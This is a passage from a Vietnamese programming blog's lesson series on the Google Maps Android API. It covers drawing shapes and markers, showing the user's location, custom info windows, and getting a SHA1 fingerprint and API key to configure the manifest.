xmlns:tools="http://schemas.android.com/tools"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >
<item android:id="@+id/mnuveduongthang" android:title="Vẽ đường thẳng"></item>
<item android:id="@+id/mnuvepolyline" android:title="Vẽ polyline"></item>
<item android:id="@+id/mnuvepolygon" android:title="Vẽ Polygon"></item>

</menu>

Xử lý coding chọn menu Item trong MainActivity:


PolylineOptions plOption=new  PolylineOptions();

int typedraw;

public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public boolean onOptionsItemSelected(MenuItem item) {
if(item.getItemId()==R.id.mnuveduongthang)
typedraw=0;
else if(item.getItemId()==R.id.mnuvepolyline)
typedraw=1;
else
typedraw=2;
latPrevious=null;
return super.onOptionsItemSelected(item);
}

Tiếp theo bổ sung sự kiện OnMapClickListener cho Map:


map.setOnMapClickListener(new OnMapClickListener() {

@Override
public void onMapClick(LatLng arg0) {
if(typedraw==0)
{
CircleOptions optionCircle=new CircleOptions();
optionCircle.center(arg0).radius(50);
Circle cir=map.addCircle(optionCircle);
cir.setFillColor(Color.RED);
cir.setStrokeColor(Color.BLUE);
if(latPrevious==null)
latPrevious=arg0;
//xử lý vẽ đường thẳng
else if(latPrevious!=null)
{
PolylineOptions optionLine=new PolylineOptions();
optionLine.add(latPrevious);
optionLine.add(arg0);
Polyline line=map.addPolyline(optionLine);
line.setColor(Color.BLUE);
line.setWidth(1);
latPrevious=null;
}

}
else if(typedraw==1)
{
if(latPrevious==null)
plOption=new PolylineOptions();
if(latPrevious!=null)
{

plOption.add(latPrevious);
plOption.add(arg0);
Polyline polyline= map.addPolyline(plOption);
polyline.setColor(Color.RED);

}
latPrevious=arg0;
}
else if(typedraw==2)
{
PolygonOptions pgOption=new PolygonOptions();
double h1=0.5;
double h2=0.25;
LatLng center=arg0;
LatLng p1=new LatLng(center.latitude-h1, center.longitude);
LatLng p2=new LatLng(center.latitude-h2, center.longitude-h2);
LatLng p3=new LatLng(center.latitude-h2, center.longitude-h1);
LatLng p4=new LatLng(center.latitude+h2, center.longitude-h2);
LatLng p5=new LatLng(center.latitude+h1, center.longitude-h1);
LatLng p6=new LatLng(center.latitude+h2, center.longitude);
LatLng p7=new LatLng(center.latitude+h1, center.longitude+h1);
LatLng p8=new LatLng(center.latitude+h2, center.longitude+h2);
LatLng p9=new LatLng(center.latitude-h2, center.longitude+h1);
LatLng p10=new LatLng(center.latitude-h2, center.longitude+h2);
pgOption.add(p1);
pgOption.add(p2);
pgOption.add(p3);
pgOption.add(p4);
pgOption.add(p5);
pgOption.add(p6);
pgOption.add(p7);
pgOption.add(p8);
pgOption.add(p9);
pgOption.add(p10);
pgOption.add(p1);
Polygon polyGon= map.addPolygon(pgOption);
polyGon.setFillColor(Color.YELLOW);
polyGon.setStrokeColor(Color.BLUE);
polyGon.setStrokeWidth(5);
}


}
});
}

Chạy lên ta có kết quả như hình mẫu ở trên.

Bạn có thể tải source code mẫu ở đây:

http://www.mediafire.com/download/zr21zmt87eo51i0/LearnGoogleMap_shape.rar

Chúc các bạn thành công!

Bài 55: Google Maps Android API – phần 3


Bài 53, 54 bạn đã biết cách đưa Google Map ra ứng dụng Android. Trong bài này Tui sẽ hướng dẫn các bạn cách tương tác nâng cao với Google Map.

Ta tiếp tục với Project LearnGoogleMap ở bài 54.

Để truy xuất đối tượng Google Map trong XML layout ta làm như sau:


GoogleMap map = ((MapFragment)getFragmentManager().findFragmentById(R.id.map)).getMap();

Thông thường khi tải Google Map thường tốn thời gian chờ, vì vậy ta nên dùng Progress control để cho người sử dụng biết là chương trình đang chạy.

GoogleMap cung cấp sự kiện OnMapLoadedCallback để cho phép ta kiểm tra xem Map đã được tải về ứng dụng hoàn thành hay chưa, ta có thể dựa vào sự kiện này để kiểm tra.

Ta sửa code MainActivity như sau:


package tranduythanh.com.learngooglemap;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.GoogleMap.OnMapLoadedCallback;

import android.app.Activity;
import android.app.ProgressDialog;
import android.os.Bundle;

public class MainActivity extends Activity {

//Khai báo đối tượng Google Map
GoogleMap map;
//Khai báo Progress Bar dialog để làm màn hình chờ
ProgressDialog myProgress;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Tạo Progress Bar
myProgress = new ProgressDialog(this);
myProgress.setTitle("Đang tải Map ...");
myProgress.setMessage("Vui lòng chờ...");
myProgress.setCancelable(true);
//Hiển thị Progress Bar
myProgress.show();
//Lấy đối tượng Google Map ra:
map = ((MapFragment)getFragmentManager().
findFragmentById(R.id.map)).getMap();
//thiết lập sự kiện đã tải Map thành công
map.setOnMapLoadedCallback(new OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
//Đã tải thành công thì tắt Dialog Progress đi
myProgress.dismiss();
}
});
map.setMapType(GoogleMap.MAP_TYPE_NORMAL);
map.getUiSettings().setZoomControlsEnabled(true);
map.setMyLocationEnabled(true);
}
}

Khởi động ứng dụng ta được như sau:

android_55_1- Ta cần biết thêm số chức năng của Google Map như sau:

+ Làm sao biết biết được vị trí hiện tại của ta để di chuyển Map đúng vị trí

+ Cách xoay , quay Map như thế nào

+ Đường đi giữa các địa điểm ra sao….

* Để biết được vị trí hiện tại của ta trên bản đồ ta cần bổ sung thêm Manifest các thông số sau:


<uses-feature android:name="android.hardware.location" android:required="true" />
<uses-feature android:name="android.hardware.location.gps" android:required="true" />

Trong MainActivity bạn bổ sung thêm hàm “TuiDangODau” :


private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
map.animateCamera(CameraUpdateFactory.newLatLngZoom(
new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()), 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()))      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
}
}

Sau đó trong hàm OnCreate, ta gọi bổ sung thêm hàm TuiDangODau:


protected void onCreate(Bundle savedInstanceState) {
//.....

//Thêm dòng lệnh này:
TuiDangODau();
}

Khi chạy ứng dụng lên, phần mềm sẽ tự động đưa ta về đúng vị trí trên bản đồ …:

android_55_2Bạn muốn thêm ghi chú cho địa điểm của bạn thì bổ sung tiếp MarkerOptions, bạn sửa lại hàm TuiDangODau như sau:


private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
LatLng latLng=new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude());
map.animateCamera(CameraUpdateFactory.newLatLngZoom(latLng, 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(latLng)      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
//Thêm MarketOption cho Map:
MarkerOptions option=new MarkerOptions();
option.title("Chỗ Tui đang ngồi đó");
option.snippet("Gần làng SOS");
option.position(latLng);
Marker currentMarker= map.addMarker(option);
currentMarker.showInfoWindow();
}
}

Tiến hành chạy lại ứng dụng ta có kết quả như hình dưới đây:

android_55_3-Tuy nhiên trong nhiều trường hợp ta cần hiệu chỉnh lại MarkerOption theo ý của Ta cho nó đẹp và phục vụ những mục đích khác… Do đó ta cần phải biết hiệu chỉnh InfoWindowAdapter:

Giả sử ta sửa lại Marker Option như sau:

android_55_4Bạn quan sát khi Tui nhấn ngón tay vào núm màu xám xanh thì nó hiển thị lên MarkerOption theo định dạng của riêng Tui, cái này rất hay và tiện dung trong việc quảng bá thương hiệu của một địa điểm nào đó, với những thông tin thật chi tiết và hữu ích.

Bạn để ý Marker Tui hiển thị các thông tin sau:

– Hình Tui tải từ link trên Facebook

– Kinh độ (longtitude)

– Vĩ độ (latitude)

– Title

– Snippet

Bạn thấy háo hức không? Tui thấy rất là háo hức khi các bạn làm được như trên. Nó quá hay và tiện dụng.

Vậy làm sao để có thể coding cho nó hiểu như trên?

Tiếp tục với bài LearnGoogleMap ở trên, bạn tạo thêm lớp ImageLoadTask để tải hình từ Facebook, MyInfoWindowAdapter custom_info.xml để hiển thị thông tin Marker theo ý mình:

android_55_5- Layout để hiển thị Marker Option theo ý mình như sau (custom_info.xml):


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >

<ImageView
android:id="@+id/img_drthanh"
android:layout_width="400dp"
android:layout_height="200dp"
android:src="@drawable/common_full_open_on_phone" />

<TextView
android:id="@+id/tv_lat"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/tv_lng"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="title:" />

<TextView
android:id="@+id/tv_title"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/textView3"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="snippet:" />

<TextView
android:id="@+id/tv_snippet"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

</LinearLayout>

Lớp ImageLoadTask để tải hình ảnh từ Facebook về sau đó hiển thị lên Custom Marker Option như sau:


package tranduythanh.com.learngooglemap;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.model.Marker;

import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;

public class ImageLoadTask extends AsyncTask<Void, Void, Bitmap> {

//Link url hình ảnh bất kỳ
private String url;
private GoogleMap map;
private Activity context;
private boolean isCompleted=false;
private Marker currentMarker;

public boolean isCompleted() {
return isCompleted;
}

public void setCompleted(boolean isCompleted) {
this.isCompleted = isCompleted;
}

public ImageLoadTask(Activity context, String url,GoogleMap map,Marker currentMarker) {
this.context=context;
this.url = url;
this.map=map;
this.currentMarker=currentMarker;
}

@Override
protected Bitmap doInBackground(Void... params) {
try {
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(url);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
Bitmap myBitmap = BitmapFactory.decodeStream(input);
if(myBitmap==null)
return null;
return myBitmap;
} catch (Exception e)
{
e.printStackTrace();
}
return null;
}

@Override
protected void onPostExecute(Bitmap result) {
super.onPostExecute(result);
//thiết lập Info cho Map khi tải hình hoàn tất
map.setInfoWindowAdapter(new MyInfoWindowAdapter(context,result));
//tiến hành hiển thị lên Custom marker option lên Map:
currentMarker.showInfoWindow();
}
}

– Chú ý dòng lệnh 67, 69 là để gán Custom cho Map và hiển thị nó lên.

Coding MyInfoWindowAdapter để custom layout cho Marker option:


package tranduythanh.com.learngooglemap;

import android.app.Activity;
import android.graphics.Bitmap;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;

import com.google.android.gms.maps.GoogleMap.InfoWindowAdapter;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;


public class MyInfoWindowAdapter implements InfoWindowAdapter {

private Activity context;
private Bitmap btmp;
public MyInfoWindowAdapter(Activity context,Bitmap result)
{
this.context=context;
this.btmp=result;
}
@Override
public View getInfoContents(Marker arg0) {
// Getting view from the layout file info_window_layout
View v = this.context.getLayoutInflater().inflate(R.layout.custom_info, null);

// Getting the position from the marker
LatLng latLng = arg0.getPosition();

// Getting reference to the TextView to set latitude
TextView tvLat = (TextView) v.findViewById(R.id.tv_lat);

// Getting reference to the TextView to set longitude
TextView tvLng = (TextView) v.findViewById(R.id.tv_lng);

TextView tvTitle = (TextView) v.findViewById(R.id.tv_title);

TextView tvSnippet = (TextView) v.findViewById(R.id.tv_snippet);

ImageView imgdrthanh=(ImageView) v.findViewById(R.id.img_drthanh);

// Setting the latitude
tvLat.setText("Latitude:" + latLng.latitude);

// Setting the longitude
tvLng.setText("Longitude:"+ latLng.longitude);

tvTitle.setText(arg0.getTitle());
tvSnippet.setText(arg0.getSnippet());
imgdrthanh.setImageBitmap(btmp);
return v;
}

@Override
public View getInfoWindow(Marker arg0) {

return null;
}

}

– Cuối cùng chỉnh sửa lại MainActivity như sau:


package tranduythanh.com.learngooglemap;

import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.GoogleMap.OnMapLoadedCallback;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.CameraPosition;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;

import android.app.Activity;
import android.app.ProgressDialog;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.os.Bundle;

public class MainActivity extends Activity {

//Khai báo đối tượng Google Map
GoogleMap map;
//Khai báo Progress Bar dialog để làm màn hình chờ
ProgressDialog myProgress;
GoogleApiClient googleApiClient;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Tạo Progress Bar
myProgress = new ProgressDialog(this);
myProgress.setTitle("Đang tải Map ...");
myProgress.setMessage("Vui lòng chờ...");
myProgress.setCancelable(true);
//Hiển thị Progress Bar
myProgress.show();
//Lấy đối tượng Google Map ra:
map = ((MapFragment)getFragmentManager().
findFragmentById(R.id.map)).getMap();
//thiết lập sự kiện đã tải Map thành công
map.setOnMapLoadedCallback(new OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
//Đã tải thành công thì tắt Dialog Progress đi
myProgress.dismiss();
}
});
map.setMapType(GoogleMap.MAP_TYPE_NORMAL);
map.getUiSettings().setZoomControlsEnabled(true);
map.setMyLocationEnabled(true);
//lấy lấy được vị trí cuối cùng:

TuiDangODau();
}
private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
LatLng latLng=new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude());
map.animateCamera(CameraUpdateFactory.newLatLngZoom(latLng, 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(latLng)      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
//Thêm MarketOption cho Map:
MarkerOptions option=new MarkerOptions();
option.title("Chỗ Tui đang ngồi đó");
option.snippet("Gần làng SOS");
option.position(latLng);
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_VIOLET));
Marker currentMarker= map.addMarker(option);

ImageLoadTask imgTask=new ImageLoadTask(this,"https://scontent-a-lax.xx.fbcdn.net/hphotos-xpa1/v/t1.0-9/1488744_806006112761224_104751868_n.jpg?oh=18c334e98bdbc3454a0b72be9dc3f7dc&oe=55417543",map,currentMarker);
imgTask.execute();
}
}
}

Bạn để ý dòng lệnh 84, là dòng Tui gọi tải hình từ Facebook về, bạn có thể đổi link bất kỳ. Ở đây Tui truyền tham chiếu Map và MarkerOption qua Custom Adapter để hiển thị theo ý mình.

Bạn có thể tải source code phần Custom Marker Option ở đây:

http://www.mediafire.com/download/cha8toku8386wet/LearnGoogleMap_custom_marker_option.rar

Như vậy bạn đã biết được thao tác nâng cao với Google Map control, bài tiếp theo Tui sẽ hướng dẫn các bạn cách sử dụng các Autoshape trên Map (line, polyline, Rectangle, circle…)

Bạn cần phải làm lại bài này nhiều lần để hiểu được cơ chế làm việc của nó, đặc biệt là cách Custom Layout cho marker Option.

Chúc các bạn thành công

Bài 54: Google Maps Android API – phần 2


bài tập 53 Tui đã trình bày sơ lược về GMAA, để rõ hơn bạn nhớ vào link sau để đọc https://developers.google.com/maps/documentation/android/intro (link này có hướng dẫn chi tiết và những ví dụ mẫu rất dễ hiểu).

Trong bài tập này Tui sẽ hướng dẫn các bạn cách đưa Google Map vào ứng dụng Android của mình như thế nào, có nhiều bước khác nhau để sử dụng, ở đây Tui tạm liệt kê theo thứ tự như sau (không hẳn là tốt nhất):

Bước 1:

Kiểm tra hệ thống đã có cài đặt gói Google API và Google Play Service chưa? nếu chưa có thì cần cài đặt.

Kiểm tra như sau: Mở cửa sổ Android SDK Manager lên (Bài 1):

android_54_1Bạn quan sát hình trên xem có Google APIs tương ứng với các version hay chưa (tùy bạn cài đặt, không nhất thiết phải giống như hình Tui chụp). Tiếp theo kéo xuống mục Extras để kiểm tra Google Play Service:

android_54_2Nếu nó chưa được cài đặt thì bạn phải cài đặt cho đầy đủ.

Khi cài đặt thành công thì bạn có thể tìm thấy nó ở đây “..\sdk\extras\google\google_play_services\libproject\google-play-services_lib”:

android_54_3Bước 2:

– Tạo máy Ảo có khả năng chạy được Google Map:

android_54_5Như bạn thấy máy Tui có Google APIs từ 17->21, bạn tạo máy ảo với một trong nhóm này để nó có thể chạy được với Google Map. Chú ý là bạn không cần thiết phải lấy bản 21 nhé, ở đây Tui lỡ tải về rồi nên chụp cho nó màu mè thôi. Bạn chạy với bản 19 cũng rất Ok rồi.  Bản 21 phải yêu cầu bật tính năng ảo hóa nên chưa chắc máy của bạn chạy được.

android_54_4Bước 3:

Import thư viện google-play-services_lib ở Bước 1 vào Eclipse. Bước này bạn nên copy đường dẫn rồi dán vào cửa sổ import cho lẹ nhé: android_54_6 Sau đó Import Project này vào Elipse như sau:

Vào menu File/ Chọn Import:

android_54_7Màn hình Import Project hiển thị ra như bên dưới, ta chọn Android/Existing Android Code into Workspace:

android_54_8Bấm next để tiếp tục:

android_54_9Root Directory: Bạn dán đường dẫn đã copy lúc nãy vào đây rồi nhấn phím Enter nó sẽ hiển thị ra Google-play-service_lib ở trong mục Projects.

Copy projects into workspace: Bạn nhớ tick vào đây.

Sau đó nhấn nút Finish để kết thúc quá trình Import:

android_54_10Bước 4:

Tạo Project Android tên “LearnGoogleMap” sử dụng Google Map để tham chiếu tới Google Play Service tạo ở bước 3.

Sau khi tạo Project LearnGoogleMap xong thì nhấn chuột phải vào nó chọn Properties:

android_54_11Màn Properties hiển thị ra ta chọn Android/ chọn nút Add trong mục Library:

android_54_12Khi bấm nút Add–> màn hình sau xuất hiện, ta chọn google play service:

android_54_13Bấm OK để đồng ý tham chiếu, ta xem kết quả:

android_54_14Bước 5:

Cấu hình để sử dụng Google Map trong ứng dụng LearnGoogleMap:

– Ta cần tìm chuỗi SHA1 để tạo API KEY sử dụng Google map trước, để có SHA1 ta làm như sau:

Mở màn hình Command Line lên, copy và gõ lệnh sau (không sửa gì nhé):

keytool -list -v -keystore “%USERPROFILE%\.android\debug.keystore” -alias androiddebugkey -storepass android -keypass android

android_54_15Từ màn hình Command line, ta dán lệnh trên vào:

android_54_16Nhấn Enter và có kết quả SHA1 như sau:

android_54_17Ta sao chép SHA1 được cung cấp ở trên.

Ngoài ra Eclipse đã hỗ trợ cho chúng ta cách lấy SHA1 vô cùng dễ òm như sau:

Vào menu Windows/Chọn Preference:

android_54_18Bạn copy luôn chuỗi SHA1 đó, chú ý là chuỗi này tương ứng với mỗi cấu hình máy là khác nhau, khi đưa lên Google project cùng với Package nó sẽ tạo ra API KEY khác nhau và duy nhất.

Tiếp theo bạn vào https://code.google.com/apis/console để lấy API KEY dựa theo SHA1 được cung cấp ở trên.

Bạn chó ý là API KEY được tạo ra dựa trên sự kết hợp giữa SHA1 và package mà bạn tạo ra trong Android. ở Project trên Package tui như sau:

android_54_19“tranduythanh.com.learngooglemap” nó sẽ kết hợp với SHA1 để tạo ra API KEY. Như vậy nếu bạn đặt tên theo package nào thì phải theo package đó nha.

bài tập 50 Tui cũng đã hướng dẫn dùng Google Project với bài Google Cloud Message, bạn có thể tự xem lại cách tạo Project (Nhớ xem lại nếu chưa biết tạo sử dụng, ở đây Tui mặc định bạn đã biết vì Tui đã hướng dẫn chi tiết trong bài 50 – Do đó nếu không thấy màn hình dưới đây tức là bạn chưa học bài tập 50).

Kích hoạt Google MAP Android API V2 lên (tùy vào version khác nhau mà Google có thể đổi giao diện khác chút xíu, miễn sao bạn nhìn thấy nó là OK):

– Bạn vào mục API, kéo xuống tìm Google Máp Android API v2 để bật ON nó lên:

android_54_26

Bật xong sẽ thấy:

android_54_27

Sau đó vào mục Credentials/ chọn Create New Key:

android_54_20Khi bấm vào Create New Key màn hình sau xuất hiện:

android_54_22Ở màn hình trên bạn chọn Android Key, màn hình tiếp theo xuất hiện:

android_54_23Sau khi bấm Create, ta có kết quả sau:

android_54_24- Vậy là ta đã có API KEY.

– Ta tiến hành sửa AndroidManifest như sau (Tui sao chép vào luôn, ý nghĩa Tui đã nói trong bài 53 rồi):

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="tranduythanh.com.learngooglemap"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

    <uses-feature
        android:glEsVersion="0x00020000"
        android:required="true" />

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <meta-data
            android:name="com.google.android.gms.version"
            android:value="@integer/google_play_services_version" />
        <meta-data
            android:name="com.google.android.maps.v2.API_KEY"
            android:value="AIzaSyAs7FEF1RxuoSat_oHITBirDKagx2nQKDM" />

        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Tiếp theo tiến hành chỉnh sửa activity_main.xml:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/LinearLayout1"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="tranduythanh.com.learngooglemap.MainActivity" >
 <fragment
    android:id="@+id/map" 
    android:layout_width="match_parent" 
    android:layout_height="match_parent"
    class="com.google.android.gms.maps.MapFragment"
    />
</LinearLayout>

Coding java Ta không sửa gì hết nhá (Tức là cứ để mặc định, chỉ sửa lại mỗi Layout XML mà thôi.

Sau khi sửa xong ta tiến hành chạy Ứng Dụng,  bạn sẽ thấy Google Map hiển thị trong ứng dụng. Dĩ nhiên là chỉ mới hiển thị cho ta ngó đỡ ghiền chứ chưa làm được gì cả:

android_54_25

Như vậy đến đây các bạn đã biết cách đưa Google Map ra ứng dụng, bạn cần hiểu rõ từng bước để tránh sai sót. Phải nhớ bước lấy SHA1, API KEY, bước cấu hình Manifest và layout có sử dụng class=”com.google.android.gms.maps.MapFragment”

Bài tiếp theo Tui sẽ hướng dẫn các bạn cách tương tác với Google Map

Bạn có thể tải source code mẫu ở đây (dĩ nhiên bạn không thể nào chạy trên máy của bạn được) vì nó lệ thuộc vào API KEY, mà API KEY lại lệ thuộc vào SHA1 và package…. do đó khi bạn tải về thì phải làm lại các bước để lấy đúng API KEY theo cấu hình trên máy của bạn:  http://download939.mediafire.com/aykl9wqptuwg/9b9fz5c36yw025h/LearnGoogleMap.rar

Các bạn chú ý theo dõi

Chúc các bạn thành công.

Bài 53: Google Maps Android API – phần 1


Tui nhớ không lầm cách đây khoảng 7 hoặc n năm trở về trước, khi đi ra đường nếu không muốn bị lạc đường thì chỉ cần hỏi các bác xe ôm là có thể tìm được địa điểm như mong muốn. Tuy nhiên không phải lúc nào ta cũng có thể gặp được những bác xe ôm tốt bụng thật tình chỉ đường, Tui cũng là một nạn nhân khi lần đầu tiên đi phỏng vấn ở công ty năm trong Khu Dân Cư Gia Hòa, lúc Thầy của Tui giới thiệu vào phỏng vấn và có nói là quốc lộ 51 (Tui nhớ rõ là quốc lộ 51) hướng đi Nam Sài Gòn… Thế là tui phang 1 mạch đi lung tung từ Gò Vấp qua cầu Nguyễn Tất Thành, vòng thẳng Nguyễn Văn Linh…. đi gặp quốc lộ 50… rồi hỏi Bác xe ôm trẻ tuổi ngay ngã 4… “Làm ơn cho Tui hỏi quốc lộ 51 ở đâu ạ”, và họ nói “Đây là 50 cứ chảy thẳng xuống là 51″.. Tui cảm ơn rối rít chạy thêm hơn nửa tiếng thì gần tới đường đi Long An…. hốt hoảng chạy ngược lại…. đúng ngã 4 Nguyễn Văn Linh và Quốc Lộ 50… hỏi lại người khác thì được giải thích Quốc lộ 51 là đường đi Vũng Tàu…. đi sai đường rồi…. Lúc đó Tui mới té ngửa ra và gọi lại cho Thầy Tui thì được nhắc lại là quốc lộ 50…

Bạn thấy đấy, nếu như sài điện thoại củ chuối chém đá như chém bùn thì làm gì có Máp với chả miếc mà tự tìm đường…. Hiện nay với sự phát triển của điện thoại thông minh Hoàng Phi Hồng với giá rẻ bèo bạn cũng có thể sở hữu được những điện thoại thông minh với những chức năng hết chỗ chê…. Google đã cung cấp chức năng Google Maps tích hợp vào điện thoại giúp người sử dụng có thể dễ dàng tìm đường đi.. Cho dù nó ở trong góc trong góc trong cùng cũng lòi ra được, đặc biệt hãng còn cho phép lập trình viên tùy biến Google Maps thông qua việc cung cấp các API cực đỉnh giúp chúng ta thỏa chí lập trình…. và đặc biệt sẽ không bị ai đó nói dối về đường đi, giúp ta tiết kiệm thời gian và tiền bạc.

Ngày xưa ông bà ta thường có câu ngạn ngữ “Ra đường hỏi người già, về nhà hỏi trẻ nhỏ”, nhưng từ khi có Google Map thì Tui nghĩ nên đổi lại “Ra đường hỏi Google Map, về nhà hỏi cô hàng xóm”.

Hiện nay có rất nhiều website đã hướng dẫn các bạn cách lập trình với Google Map, bạn chỉ cần lên google enter 1 phát là nó ra 1 nùi…. nhưng không phải nùi nào cũng dễ hiểu.

Trong các bài tập tiếp theo đây Tui sẽ hướng dẫn các bạn từng bước tiếp cập với Google Map thông qua các bài tập mẫu từ dễ lên khó, với mong muốn giúp các bạn có thể tự lập trình cũng như cải tiến theo cách của mình và áp dụng một cách hiệu quả nhất vào ứng dụng của mình.

—————————————————————————–

1) Cách Thiết lập Google Map trong ứng dụng Android:

Google Maps Android API (GMAA) bao gồm các dữ liệu bản đồ được phát triển bởi Google Inc cho phép lập trình viên tích hợp vào các ứng dụng thông qua các phương thức được cung cấp sẵn.

GMAA hỗ trợ các thao tác với giao diện đồ họa của bản đồ bao gồm:

  • Vẽ biểu tượng trên bản đồ (Marker).
  • Đồ họa đường thẳng (Polylines).
  • Đồ họa hình đa giác (Polygons).
  • Bitmap trên bản đồ (Ground & Tile Overlay).

Google Maps Android API Key: chuỗi mã hóa được Google cung cấp miễn phí để quản lý và chứng thực việc truy xuất dữ liệu bản đồ trên ứng dụng (được lấy trên https://code.google.com/apis/console).

GMAA Key được liên kết thông qua Digital Cerfiticate (DC-Chứng thư số) và Pakage Name (Tên đóng gói) của ứng dụng.

Tạo GMAA Key bao gồm 3 bước chính như sau:

  • Bước 1: Truy xuất thông tin DC bằng mã SHA-1 (dùng command line hoặc từ eclipse).
  • Bước 2: Đăng ký Project trong Google API Console.
  • Bước 3: Tích hợp Google Map Service vào Project và gửi yêu cầu cấp GGMA Key.

Trong mọi ứng dụng liên quan tới Google Map thì cần Cấu hình tập tin AndroidManifest về một số thứ như:

Khai báo một số quyền truy cập phần cứng và sử dụng dữ liệu người dùng.
Việc xác định quyền sử dụng dữ liệu bản đồ thông qua GMAA KEY. KEY này được khai báo trong tag meta-data nằm trong tag application:


<meta-data
android:name="com.google.android.maps.v2.API_KEY"
android:value="API_KEY"/>

Với API_KEY là được lấy từ Google Developers

Khai báo version sử dụng:


 <meta-data
            android:name="com.google.android.gms.version"
            android:value="@integer/google_play_services_version" />

Một số quyền cần thiết lập trong Manifest như sau:


   <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

